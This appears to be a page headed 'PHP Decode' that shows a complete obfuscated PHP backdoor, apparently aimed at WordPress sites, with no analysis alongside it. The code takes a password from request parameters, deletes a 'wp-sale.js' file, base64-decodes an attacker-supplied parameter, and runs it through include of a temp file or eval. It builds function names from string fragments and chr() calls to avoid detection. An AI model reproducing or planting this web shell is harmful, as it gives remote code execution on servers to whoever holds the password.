PHP Decode

<?php error_reporting(0);                       $wuigb = array_merge($_GET, $_COOKIE, $_POST);                          $gcbqd = 'in_'.'ar'.'ray';              if($wuigb['m']=='1') die('7111585b25ae43827b7dedaeca22b0bc');           if(md5($wuigb['a5a8e'])==='7111585b25ae43827b7dedaeca22b0bc') dngmo($wuigb);                            function dngmo($npcsc){                         $wskuj ='fi'.'le_'.'exi'.'sts';                         $kcnnb ='f' .'op' .'en';                        $joeve = 'f'.'cl'.'ose';                        $gqtlr = 'u'.'nl'.'ink';                                if($wskuj('./wp-sale.js')){@$gqtlr('./wp-sale.js');}                    $qbacx = 't'.'mpf'.'ile';                       $tdmfa = 'fw'.'rite';                   $ylttr = 'fs'.'eek';                    $exkaf = 'ba'.'se'.chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).'o'. chr(100) . chr(101);                  $gcbqd = 'str'.'ea'.'m_'.'get'.'_m'.'eta'.'_'.'data';                                           $pzllr = $qbacx(); 
                                if(fwrite($pzllr, chr(60).chr(63).chr(112).chr(104).chr(112).chr(32). $exkaf($npcsc['a2e8b']))!=false){                                 include($gcbqd($pzllr)['uri']); 
                                $joeve($pzllr);                         } else {                                @eval($exkaf($npcsc['a2e8b']));                         }               } 
                       ?>